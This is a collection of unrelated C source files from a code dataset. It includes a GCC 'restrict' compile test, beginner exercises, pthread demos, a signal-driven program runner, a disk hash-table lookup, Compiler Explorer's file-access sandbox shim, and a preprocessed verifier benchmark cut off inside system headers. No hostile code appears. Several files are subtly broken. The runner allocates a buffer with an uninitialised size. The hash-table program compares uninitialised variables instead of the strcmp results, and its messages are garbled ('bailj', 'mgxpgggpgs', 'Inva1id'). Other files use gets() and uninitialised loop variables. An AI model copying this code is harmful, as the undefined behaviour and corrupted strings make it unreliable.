/* Origin: Joseph Myers <[email protected]> */
/* { dg-do compile } */
/* { dg-options "-std=iso9899:1999 -pedantic-errors" } */
typedef int *ipa[2];
int *restrict x[2];
restrict ipa y;
void f(int *restrict a[2], restrict ipa b, int *restrict c[restrict]);
|
the_stack_data/30514.c | /*******************************************************************************
* Author:
* @coronapl
* Program:
* execute
*******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <string.h>
/**
* This function receives the name of the file
* and reads the program that must be executed
* in a child process.
*/
void execute_file(char *filename) {
char *program;
char *parameters;
int size;
int fd;
int pid;
fd = open(filename, O_RDONLY, 0666);
char *buffer = (char*) malloc(sizeof(char) * size);
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
read(fd, buffer, sizeof(char) * size);
close(fd);
// Obtain the name of the program and the parameters
program = strtok(buffer, ",");
parameters = strtok(NULL, ",");
if ((pid = fork()) == 0) {
execlp(program, parameters, NULL);
} else if (pid > 0) {
wait(NULL);
free(buffer);
}
}
void handler_sigusr1(int sig) {
execute_file("file1.txt");
}
void handler_sigusr2(int sig) {
execute_file("file2.txt");
}
void handler_sighup(int sig) {
execute_file("file3.txt");
}
void handler_sigint(int sig) {
printf("Ending...\n");
exit(0);
}
int main(int argc, char* argv[]) {
int fd;
if (argc != 4) {
printf("usage: %s file1 file2 file3\n", argv[0]);
return -1;
}
for (int i = 1; i < argc; i++)
{
// Check if file exists
if ( (fd = open(argv[i], O_RDONLY, 0666)) < 0 ) {
printf("%s: the file %s does not exist\n", argv[0], argv[i]);
return -2;
}
// Check if file is not empty
if (lseek(fd, 0, SEEK_END) == 0) {
printf("%s: the file %s is empty\n", argv[0], argv[i]);
return -3;
}
close(fd);
}
printf("Waiting for a signal...\n");
// Set signal handler
signal(SIGUSR1, handler_sigusr1);
signal(SIGUSR2, handler_sigusr2);
signal(SIGHUP, handler_sighup);
signal(SIGINT, handler_sigint);
// Wait for signals
while(1) {
pause();
}
return 0;
}
|
the_stack_data/1088101.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
// Tables
#define MAXRECORDS 0x20000
#define KEYBITS 17
#define SHIFT 3
#define SHIFTMASK 0xe0000
#define KEYMASK 0x1ffff
struct record
{
char city[40];
char country[16];
char continent[20];
int cap;
int pop;
};
typedef struct record Record;
static int recordsize = sizeof(Record);
int genkey(Record* ptr) {
int k = 0;
// add in letters of city name first
char* cptr = ptr->city;
while (*cptr) {
k = k << SHIFT; // move left
int save = k & SHIFTMASK;
// save bits
save = save >> KEYBITS;
k = k & KEYMASK;
k = k ^ save;
k = k ^ (*cptr);
cptr++;
}
// and now the country name
cptr = ptr->country;
while (*cptr) {
k = k << SHIFT;
// move left
int save = k & SHIFTMASK;
// save bits
save = save >> KEYBITS;
k = k & KEYMASK;
k = k ^ save;
k = k ^ (*cptr);
cptr++;
}
return k;
}
void save(Record* ptr, int k, int fd) {
int startposn = k;
int posn = startposn;
int collisions = 0;
for (;;) {
// editor-fold defaultstate="collapsed" desc="Find next position"›
long byteposn = posn*recordsize;
// Move to that spot
off_t spot = lseek(fd, byteposn, SEEK_SET);
if (spot < 0) {
perror("Disk seek failed");
exit(1);
}
//</editor-fold>
Record existrec;
memset(&existrec, 0, recordsize);
int numread = read(fd, &existrec, recordsize);
if ((numread < 0) || ((numread > 0) && (numread != recordsize))) {
perror("Disk read failed");
exit(1);
}
if (numread == 0) {
spot = lseek(fd, byteposn, SEEK_SET);
if (spot < 0) {
perror("Disk seek failed");
exit(1);
}
int numwritten = write(fd, ptr, recordsize);
if (numwritten != recordsize) {
perror("Write to disk failed");
exit(1);
}
fsync(fd);
return;
}
if (0 == strlen(existrec.city)) {
spot = lseek(fd, byteposn, SEEK_SET);
if (spot < 0) {
perror("Disk seek failed");
exit(1);
}
int numwritten = write(fd, ptr, recordsize);
if (numwritten != recordsize) {
perror("Write to disk failed");
exit(1);
}
fsync(fd);
return;
}
printf("%d : Collision at %d\n", ++collisions, posn);
printf("\t%s, %s\n", ptr->city, ptr->country);
printf("\t%s, %s\n", existrec.city, existrec.country);
posn = (posn + 17) % MAXRECORDS;
if (posn == startposn) {
printf("No room in file\n");
exit(1);
}
}
}
void load_data(const char * filenmae, int fd) {
FILE* input = fopen(filenmae, "r");
for (;;) {
int n;
char cityname[256];
char countryname[256];
int capital; int population;
char continent[256];
n = fscanf(input, "%s %s %d %d %s", cityname, countryname, &capital, &population, continent);
if (feof(input))
break;
if (n != 5) {
printf("Error at %s cityname", cityname);
exit(1);
}
Record r;
memset(&r, 0, recordsize);
strncpy(r.city, cityname, 39);
strncpy(r.country, countryname, 15);
strncpy(r.continent, continent, 19);
r.cap = capital; r.pop = population;
int key = genkey(&r);
save(&r, key, fd);
}
}
int getSearchRecord(Record *ptr) {
// Return -1 if end of input - program to exit
// Return 0 if invalid input - program to loop requesting data
// Return 1 with filled in record if data 93
char city[256];
char country[256];
int nread = scanf("%s", city);
if (nread <= 0) {
if (feof(stdin)) return -1;
return 0;
}
nread = scanf("%s", country);
if (nread <= 0) return 0;
int len = strlen(city);
if ((len < 2) || (len > 39)) {
printf("Inva1id city name\n");
return 0;
}
len = strlen(country);
if ((len < 2) || (len > 15)) {
printf("Inva1id country name\n");
return 0;
}
strncpy(ptr->city, city, 39);
strncpy(ptr->country, country, 15);
return 1;
}
void checkForRecord(Record *ptr, int fd);
void perform_lookups(int fd) {
printf("Enter city name and country");
printf("Names with spaces bailj, be entered with underscore characters\n");
printf("\te.g. 'Baton BataeL would be entered as 'Baton_BalageL\n");
for (;;) {
printf("Search for:\n");
Record r;
memset(&r, 0, recordsize);
int inpt = getSearchRecord(&r);
if (inpt < 0) return;
if (inpt == 0) continue;
checkForRecord(&r, fd);
}
}
void checkForRecord(Record *ptr, int fd) {
int startposn = genkey(ptr);
int posn = startposn;
for (;;) {
long byteposn = posn*recordsize;
// Move to that spot
off_t spot = lseek(fd, byteposn, SEEK_SET);
if (spot < 0) {
perror("Disk seek failed");
exit(1);
}
// Try reading in a record from that spot
Record existrec;
memset(&existrec, 0, recordsize);
int numread = read(fd, &existrec, recordsize);
if ((numread < 0) || ((numread > 0) && (numread != recordsize))) {
perror("Disk read failed");
exit(1);
}
if (numread == 0) {
// Have read from an unwritten part of file. There is no
// such city/country combination
printf("Sorry, have no data for that city\n");
return;
}
// Check that record does match by city name and country name
int cmpl;
strcmp(existrec.city, ptr->city);
int cmp2;
strcmp(existrec.country, ptr->country);
if ((0 == cmpl) && (0 == cmp2)) {
// Found it
printf("%s, %s, in %s\n",
existrec.city, existrec.country, existrec.continent);
printf("\tHas a population of %d\n", existrec.pop);
if (existrec.cap) printf("\tIt is the nation's capital\n");
return;
}
// It was simply a hash collision so move on
posn = (posn + 17) % MAXRECORDS;
if (posn == startposn) {
// This check could fail if mgxpgggpgs were a multiple of 17
printf("Sorry, have no data for that city\n");
return;
}
}
}
int main(int argc, char** argv)
{
printf("Record size is %d, ~700 records is %d\n", recordsize, 700*recordsize);
printf("Key length is %d bits, number records %d, potential file size %d\n",
KEYBITS, MAXRECORDS, MAXRECORDS*recordsize);
int fd = open("/Users/james/UOW/UOW/UOW Repositories/CSCI131/Tasks/Task 3/Support/cities.txt", O_RDWR | O_CREAT | O_TRUNC);
load_data("/Users/james/UOW/UOW/UOW Repositories/CSCI131/Tasks/Task 3/Support/cities.txt", fd);
perform_lookups(fd);
unlink("/Users/james/UOW/UOW/UOW Repositories/CSCI131/Tasks/Task 3/Support/cities.txt");
return (EXIT_SUCCESS);
}
|
the_stack_data/32951556.c | #include <stdio.h>
int main()
{
int x,y,i;
scanf("%d",&x);
there: x=x+1;
for(i=2;i<x;i++)
{
y=x%i;
if(y==0)
{
goto there;
}
}
printf("%d",x);
return 0;
} |
the_stack_data/1024798.c | #include <stdio.h>
#define MAXLINE 1000
int newgetline(char line[ ],int maxline);
void reverse(char rline[]);
main()
{
int len;
int max;
char line[MAXLINE];
char reverseline[MAXLINE];
max = 0;
while((len = newgetline(line, MAXLINE)) > 0)
{
reverse(line);
printf("%s",line);
}
return 0;
}
int newgetline(char s[],int lim)
{
int c,i;
for (i=0; i < lim -1 && (c=getchar()) != EOF && c!='\n';++i)
s[i] = c;
if(c=='\n')
{
s[i]=c;
++i;
}
s[i] = '\0';
return i;
}
void reverse(char rline[])
{
int i,j;
char temp;
for(i=0;rline[i]!='\0';i++)
;
--i;
if(rline[i]=='\n')
--i;
j=0;
while(j < i)
{
temp = rline[j];
rline[j] = rline[i];
rline[i] = temp;
--i;
++j;
}
}
|
the_stack_data/29825657.c | /*
@file:aula6_atividade3
@author: Deivid da Silva Galvao
@date:20 out 2021
@brief: 3) Crie um algoritmo que exiba todos os números múltiplos
de 3 no intervalo de 1 a 322.
*/
#include <stdio.h>
#include <stdlib.h>
int main() {//declarando as variaveis i e valor
int i = 1;
int valor = 0;
/*abrindo o while para o codigo ficar retornando, para exibir os
numeros que divididos por 3 tem resto igual a 0 até o numero 322*/
while (i <= 322) {
if (i % 3 == 0) {
printf("valores %i\n", i);
valor = valor + i;
}//if
i++;
}//while
return 0;
}//main
|
the_stack_data/847768.c | #include <stdio.h>
#include <stdlib.h>
int main(){
char nome[50],numero[12];
int cidade,idade,escolha;
while(escolha!=999){
printf(" Informe seu nome: ");
gets(nome);
printf(" Informe sua idade: ");
scanf("%d",&idade);
printf(" Informe sua cidade, 1-Sao Vicente \ 2-Santos: ");
scanf("%d",&cidade);
if(idade<18){
printf(" %s insira uma idade valida",nome);
}
else{
printf(" Idade valida");
}
switch(cidade){
case 1:
printf("\n\n Ola %s, morador de Sao Vicente\n\n",nome);
break;
case 2:
printf("\n\n Ola %s, morador de Santos\n\n",nome);
break;
}
printf(" Deseja encerrar o programa?");
scanf("%d",&escolha);
}
system("pause");
}
|
the_stack_data/193893781.c | #include <stdio.h>
int main()
{
int a, b, c, t, i;
scanf("%d", &t);
for (i=1; i<=t; i++)
{
scanf("%d %d %d", &a, &b, &c);
if (a<=20 && b<=20 && c<=20)
printf("Case %d: good\n", i);
else
printf("Case %d: bad\n", i);
}
return 0;
}
|
the_stack_data/2302.c | #include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
void *Producer(void *arg)
{
int i;
for(i=10; i<20; i++)
printf("Producer => %d\n", i);
}
void *Consumer(void *arg)
{
int i;
for(i=20; i<30; i++)
printf("Consumer => %d\n", i);
}
void main()
{
int i;
pthread_t ThreadVector[2];
pthread_create(&ThreadVector[0], NULL, Producer, NULL);
pthread_create(&ThreadVector[1], NULL, Consumer, NULL);
for(i=0; i<10; i++)
printf("Main => %d\n", i);
pthread_join(ThreadVector[0], NULL);
pthread_join(ThreadVector[1], NULL);
}
|
the_stack_data/193892409.c | #include <stdio.h>
#include <time.h>
#include <sys/time.h>
#include <stdlib.h>
#include <pthread.h>
#define SIZE 100000
int dotproduct2 = 0;
struct threadData {
int* u;
int* v;
int start;
int stop;
int dp;
};
void dotprod(void* threadData_i) {
struct threadData * data = (struct threadData*) threadData_i;
for (int i = data->start; i < data->stop; i++) {
int x= data->u[i];
int y = data->v[i];
data->dp += x*y;
//printf("u: %d, v: %d\n", data->u[i], data->v[i]);
}
//printf("dp: %d\n",data->dp);
}
int main(int argc, char *argv[]) {
srand(time(0));
int v[SIZE];
int u[SIZE];
int dotproduct = 0;
for (int i = 0; i < SIZE; i++) {
v[i] = rand() % 1000 - 500;
u[i] = rand() % 1000 - 500;
//printf("u: %d, v: %d\n", u[i], v[i]);
dotproduct += u[i] * v[i];
}
printf("Ground truth dot product: %d\n", dotproduct);
// TODO: Implement your thread solution here
// int dp = 0;
pthread_t* tids = malloc(sizeof(pthread_t) * 4);
struct threadData* dataArr = malloc(sizeof(struct threadData) * 4);
for (int i=0; i < 4; i++) {
struct threadData threadData_i = {u, v, i*(SIZE/4), (i+1)*(SIZE/4), 0};
dataArr[i] = threadData_i;
pthread_create(&tids[i], NULL, (void*) dotprod, (void*) &dataArr[i]);
}
for (int i=0; i < 4; i++) {
pthread_join(tids[i], NULL);
}
for (int i=0; i < 4; i++) {
dotproduct2 += dataArr[i].dp;
}
printf("Test with 4 threads\n");
printf("Answer with threads: %d\n", dotproduct2);
return 0;
}
|
the_stack_data/75137846.c | #include <stdio.h>
float area(width, height)
int width;
float height;
{
return (width * height);
}
int main()
{
float size = area(3.0, 2);
printf("Area is %f\n", size);
return (0);
}
|
the_stack_data/32847.c | // Copyright (c) 2012-2015, Matt Godbolt
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <limits.h>
#include <stdlib.h>
#include <string.h>
#include <libgen.h>
#ifndef O_CREAT
#define O_CREAT 0100
#endif
static int allowed_match(const char* path, const char* okpath) {
char resolvedBuf[PATH_MAX];
const char* resolved = path;
if (!strncmp(resolved, "/proc/self", 10)) {
// Leave references to /proc/self.* alone as its real path is different
// each time.
} else {
resolved = realpath(path, resolvedBuf);
if (resolved == NULL) {
return 0;
}
}
while (*okpath) {
const char* end = strchrnul(okpath, ':');
if (strncmp(okpath, resolved, end - okpath) == 0) return 1;
okpath = end;
while (*okpath == ':') ++okpath;
}
fprintf(stderr, "Access to \"%s\" denied by gcc-explorer policy\n", path);
errno = EACCES;
return 0;
}
static int allowed_env(const char* pathname, const char* envvar) {
const char* okpath = getenv(envvar);
if (okpath == NULL) {
errno = EINVAL;
return 0;
}
// Check file name first
if (allowed_match(pathname, okpath)) return 1;
// Check directory name
char* dirpathbuf = strdup(pathname);
char* dirpath = dirname(dirpathbuf);
int dir_ok = allowed_match(dirpath, okpath);
free(dirpathbuf);
return dir_ok;
}
static int allowed(const char* pathname, int flags) {
if (flags & O_CREAT)
return allowed_env(pathname, "ALLOWED_FOR_CREATE");
else
return allowed_env(pathname, "ALLOWED_FOR_READ");
}
int open(const char *pathname, int flags, mode_t mode) {
static int (*real_open)(const char*, int, mode_t) = NULL;
if (!real_open) real_open = dlsym(RTLD_NEXT, "open");
if (!allowed(pathname, flags)) {
return -1;
}
return real_open(pathname, flags, mode);
}
int creat(const char *pathname, mode_t mode) {
static int (*real_creat)(const char*, mode_t) = NULL;
if (!real_creat) real_creat = dlsym(RTLD_NEXT, "creat");
if (!allowed(pathname, O_CREAT)) {
return -1;
}
return real_creat(pathname, mode);
}
FILE* fopen(const char* name, const char* mode) {
static FILE* (*real_fopen)(const char*, const char*) = NULL;
if (!real_fopen) real_fopen = dlsym(RTLD_NEXT, "fopen");
if (!allowed(name, (mode[0] == 'r') ? 0 : O_CREAT)) {
return NULL;
}
return real_fopen(name, mode);
}
|
the_stack_data/12638535.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
int tam, i, menor, p;
scanf("%d", &tam);
int vetor[tam];
scanf("%d", &vetor[0]);
p = 0;
menor = vetor[0];
for (i = 1; i < tam; i++)
{
scanf("%d", &vetor[i]);
if (vetor[i] < menor)
{
menor = vetor[i];
p = i;
}
}
printf("Menor valor: %d\n", menor);
printf("Posicao: %d\n", p);
return 0;
} |
the_stack_data/50136721.c | /* { dg-do run } */
/* { dg-skip-if "" { *-*-* } { "*" } { "-DACC_MEM_SHARED=0" } } */
#include <stdlib.h>
#include <openacc.h>
int
main (int argc, char **argv)
{
const int N = 256;
int i;
unsigned char *h[N];
void *d[N];
for (i = 0; i < N; i++)
{
h[i] = (unsigned char *) malloc (N);
d[i] = acc_malloc (N);
acc_map_data (h[i], d[i], N);
}
for (i = 0; i < N; i++)
{
if (acc_is_present (h[i], N) != 1)
abort ();
}
for (i = 0; i < N; i++)
{
acc_unmap_data (h[i]);
if (acc_is_present (h[i], N) != 0)
abort ();
acc_free (d[i]);
free (h[i]);
}
return 0;
}
|
the_stack_data/45349.c | #include <stdio.h>
#include <unistd.h>
#include <time.h>
#define MAX 15
int get_hour()
{
int hour;
time_t timer;
struct tm *time_ptr;
timer = time(NULL);
time_ptr = localtime(&timer);
hour = time_ptr->tm_hour;
return hour;
}
int get_sec()
{
int sec;
time_t timer;
struct tm *time_ptr;
timer = time(NULL);
time_ptr = localtime(&timer);
sec = time_ptr->tm_sec;
return sec;
}
int gcd(int max, int min)
{
int temp;
if(min > max)
{
temp = min;
min = max;
max = temp;
}
for( ; (min != 1 ) ; )
{
max %= min;
//swap
temp = min;
min = max;
max = temp;
if( min == 0)
break;
}
if( min == 0)
return max;
else
return min;
}
int main()
{
int nowcounter,counter = MAX;
int i, space, star;
//build the fib index
unsigned long long int fib[50];
fib[0] = 0;
fib[1] = 1;
for( i = 2 ; i < 50 ; i++)
fib[i] = fib[i-1] + fib[i-2];
int fib_counter;
//print
for( nowcounter = 0 ; nowcounter < counter ; nowcounter++ )
{
system("clear");
fib_counter = ( get_sec() % 4 ) * ( rand() % 3 );
for( i = 0 ; i <= fib[ fib_counter + 2 ] ; i++)
{
for( space = 0 ; space < nowcounter ; space++ )
printf(" ");
for( star = 0 ; star <= gcd( get_hour(), (get_sec() + 1 ) ); star++ )
printf("*");
printf("\n");
}
usleep(1000000);
}
system("clear");
printf("The End of the animation.\n");
return 0;
}
|
the_stack_data/107953130.c | # 1 "benchmarks/ds-08-impl1.c"
# 1 "<built-in>"
# 1 "<command-line>"
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 1 "<command-line>" 2
# 1 "benchmarks/ds-08-impl1.c"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h"
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h" 1
# 132 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
int X_SIZE_VALUE = 0;
int overflow_mode = 1;
int rounding_mode = 0;
# 155 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/definitions.h"
typedef struct {
double a[100];
int a_size;
double b[100];
int b_size;
double sample_time;
double a_uncertainty[100];
double b_uncertainty[100];
} digital_system;
typedef struct {
double A[4][4];
double B[4][4];
double C[4][4];
double D[4][4];
double states[4][4];
double outputs[4][4];
double inputs[4][4];
double K[4][4];
unsigned int nStates;
unsigned int nInputs;
unsigned int nOutputs;
} digital_system_state_space;
typedef struct {
int int_bits;
int frac_bits;
double max;
double min;
int default_realization;
double delta;
int scale;
double max_error;
} implementation;
typedef struct {
int push;
int in;
int sbiw;
int cli;
int out;
int std;
int ldd;
int subi;
int sbci;
int lsl;
int rol;
int add;
int adc;
int adiw;
int rjmp;
int mov;
int sbc;
int ld;
int rcall;
int cp;
int cpc;
int ldi;
int brge;
int pop;
int ret;
int st;
int brlt;
int cpi;
} instructions;
typedef struct {
long clock;
int device;
double cycle;
instructions assembly;
} hardware;
typedef struct{
float Ap, Ar, Ac;
float wp, wc, wr;
int type;
}filter_parameters;
# 21 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/compatibility.h"
# 1 "/usr/include/stdlib.h" 1 3 4
# 25 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 1 3 4
# 33 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 3 4
# 1 "/usr/include/features.h" 1 3 4
# 461 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 1 3 4
# 452 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 453 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 454 "/usr/include/x86_64-linux-gnu/sys/cdefs.h" 2 3 4
# 462 "/usr/include/features.h" 2 3 4
# 485 "/usr/include/features.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 1 3 4
# 10 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h" 1 3 4
# 11 "/usr/include/x86_64-linux-gnu/gnu/stubs.h" 2 3 4
# 486 "/usr/include/features.h" 2 3 4
# 34 "/usr/include/x86_64-linux-gnu/bits/libc-header-start.h" 2 3 4
# 26 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 1 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
# 209 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef long unsigned int size_t;
# 321 "/usr/lib/gcc/x86_64-linux-gnu/9/include/stddef.h" 3 4
typedef int wchar_t;
# 32 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 1 3 4
# 52 "/usr/include/x86_64-linux-gnu/bits/waitflags.h" 3 4
typedef enum
{
P_ALL,
P_PID,
P_PGID
} idtype_t;
# 40 "/usr/include/stdlib.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/waitstatus.h" 1 3 4
# 41 "/usr/include/stdlib.h" 2 3 4
# 55 "/usr/include/stdlib.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 1 3 4
# 120 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 1 3 4
# 24 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/long-double.h" 1 3 4
# 25 "/usr/include/x86_64-linux-gnu/bits/floatn-common.h" 2 3 4
# 121 "/usr/include/x86_64-linux-gnu/bits/floatn.h" 2 3 4
# 56 "/usr/include/stdlib.h" 2 3 4
typedef struct
{
int quot;
int rem;
} div_t;
typedef struct
{
long int quot;
long int rem;
} ldiv_t;
__extension__ typedef struct
{
long long int quot;
long long int rem;
} lldiv_t;
# 97 "/usr/include/stdlib.h" 3 4
extern size_t __ctype_get_mb_cur_max (void) __attribute__ ((__nothrow__ , __leaf__)) ;
extern double atof (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern int atoi (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern long int atol (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
__extension__ extern long long int atoll (const char *__nptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
extern double strtod (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern float strtof (const char *__restrict __nptr,
char **__restrict __endptr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern long double strtold (const char *__restrict __nptr,
char **__restrict __endptr)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 176 "/usr/include/stdlib.h" 3 4
extern long int strtol (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
extern unsigned long int strtoul (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtouq (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern long long int strtoll (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
__extension__
extern unsigned long long int strtoull (const char *__restrict __nptr,
char **__restrict __endptr, int __base)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 385 "/usr/include/stdlib.h" 3 4
extern char *l64a (long int __n) __attribute__ ((__nothrow__ , __leaf__)) ;
extern long int a64l (const char *__s)
__attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__pure__)) __attribute__ ((__nonnull__ (1))) ;
# 1 "/usr/include/x86_64-linux-gnu/sys/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/sys/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/types.h" 1 3 4
# 27 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/wordsize.h" 1 3 4
# 28 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/timesize.h" 1 3 4
# 29 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned char __u_char;
typedef unsigned short int __u_short;
typedef unsigned int __u_int;
typedef unsigned long int __u_long;
typedef signed char __int8_t;
typedef unsigned char __uint8_t;
typedef signed short int __int16_t;
typedef unsigned short int __uint16_t;
typedef signed int __int32_t;
typedef unsigned int __uint32_t;
typedef signed long int __int64_t;
typedef unsigned long int __uint64_t;
typedef __int8_t __int_least8_t;
typedef __uint8_t __uint_least8_t;
typedef __int16_t __int_least16_t;
typedef __uint16_t __uint_least16_t;
typedef __int32_t __int_least32_t;
typedef __uint32_t __uint_least32_t;
typedef __int64_t __int_least64_t;
typedef __uint64_t __uint_least64_t;
typedef long int __quad_t;
typedef unsigned long int __u_quad_t;
typedef long int __intmax_t;
typedef unsigned long int __uintmax_t;
# 141 "/usr/include/x86_64-linux-gnu/bits/types.h" 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/typesizes.h" 1 3 4
# 142 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
# 1 "/usr/include/x86_64-linux-gnu/bits/time64.h" 1 3 4
# 143 "/usr/include/x86_64-linux-gnu/bits/types.h" 2 3 4
typedef unsigned long int __dev_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef unsigned long int __ino_t;
typedef unsigned long int __ino64_t;
typedef unsigned int __mode_t;
typedef unsigned long int __nlink_t;
typedef long int __off_t;
typedef long int __off64_t;
typedef int __pid_t;
typedef struct { int __val[2]; } __fsid_t;
typedef long int __clock_t;
typedef unsigned long int __rlim_t;
typedef unsigned long int __rlim64_t;
typedef unsigned int __id_t;
typedef long int __time_t;
typedef unsigned int __useconds_t;
typedef long int __suseconds_t;
typedef int __daddr_t;
typedef int __key_t;
typedef int __clockid_t;
typedef void * __timer_t;
typedef long int __blksize_t;
typedef long int __blkcnt_t;
typedef long int __blkcnt64_t;
typedef unsigned long int __fsblkcnt_t;
typedef unsigned long int __fsblkcnt64_t;
typedef unsigned long int __fsfilcnt_t;
typedef unsigned long int __fsfilcnt64_t;
typedef long int __fsword_t;
typedef long int __ssize_t;
typedef long int __syscall_slong_t;
typedef unsigned long int __syscall_ulong_t;
typedef __off64_t __loff_t;
typedef char *__caddr_t;
typedef long int __intptr_t;
typedef unsigned int __socklen_t;
typedef int __sig_atomic_t;
# 30 "/usr/include/x86_64-linux-gnu/sys/types.h" 2 3 4
typedef __u_char u_char;
typedef __u_short u_short;
typedef __u_int u_int;
typedef __u_long u_long;
typedef __quad_t quad_t;
typedef __u_quad_t u_quad_t;
typedef __fsid_t fsid_t;
typedef __loff_t loff_t;
typedef __ino_t ino_t;
